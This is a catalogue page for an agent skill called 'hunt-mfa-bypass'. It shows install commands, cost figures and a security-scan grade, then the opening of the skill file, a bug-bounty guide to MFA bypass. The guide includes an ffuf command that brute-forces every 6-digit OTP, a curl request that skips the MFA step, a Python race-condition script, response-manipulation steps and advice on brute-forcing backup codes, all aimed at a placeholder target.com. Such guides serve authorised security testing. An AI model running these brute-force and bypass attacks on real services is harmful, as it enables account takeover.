Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add adriannoes/awesome-agentic-ai --skill hunt-mfa-bypassgit clone --depth 1 https://github.com/adriannoes/awesome-agentic-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-mfa-bypass)<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-mfa-bypass"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-mfa-bypass/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-mfa-bypass"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-mfa-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00204 | $0.01437 |
| Opus 5 | $0.00102 | $0.00718 |
| Sonnet 5 | $0.00041 | $0.00287 |
| Haiku 4.5 | $0.00020 | $0.00144 |
Grade A, and why
hunt-mfa-bypass scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard How it starts
The opening of the file, as written. The whole thing — 96 lines — stays where its author put it; the contents beside it link to each section on GitHub.
19. MFA / 2FA BYPASS
Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.
Pattern 1: No Rate Limit on OTP
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
Pattern 2: OTP Not Invalidated After Use
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
Pattern 3: Response Manipulation
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
Pattern 4: Skip MFA Step (Workflow Bypass)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
Pattern 5: Race on MFA Verification
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Send same OTP simultaneously from two browsers
results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
print(results)
asyncio.run(race())
Pattern 6: Backup Code Brute Force
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 96 lines · 204 tokens per session scan A 4af980aa272a
hunt-mfa-bypass is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 14d ago), licensed MIT. It adds 204 tokens to every session and 1,437 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
importing-a-codebase
Use when the repo holds real source code but no specs: the existing-codebase branch of setting-up-a-project, normally reached via that dispatcher, directly only when the situation is unmistakable. Not for empty workspaces (starting-a-new-project) or feature work in a specced project (brainstorming).
starting-a-new-project
Use when the workspace is empty — no code yet — and the user brings a raw idea: the brand-new branch of setting-up-a-project, normally reached via that dispatcher, directly only when the situation is unmistakable. Not for features in an existing project — use brainstorming instead.
todos
This chat has a shared, live TODO plan — your tasks for the conversation, which the user also edits. Read this skill and reach for the todo tools whenever a request takes more than a couple of steps. It covers the plan model (group = task, items = its steps; loose items are the user's lane), how to work it: propose…
writing-workflow-skills
Use when adding a new workflow skill to pi-thinkrail-workflow, changing an existing workflow skill's role, trigger, handoff, or structure, or checking a workflow skill against the workflow system's rules. Not for authoring general-purpose skills outside this package.
brainstorming
Use this BEFORE any creative or feature work: building a new feature, adding functionality, changing behavior, or making a nontrivial design decision. Turns the user's request into a validated design — recorded as a spec-graph task-spec — before any implementation. Do not skip this because a change looks small.
reviewing-changes
Use when a review package asks you to review a plan step's change set (todo.startReview): you are the REVIEWER, not the author. How to judge an agent-written diff, file findings with addreviewcomment, and settle with exactly one reviewverdict.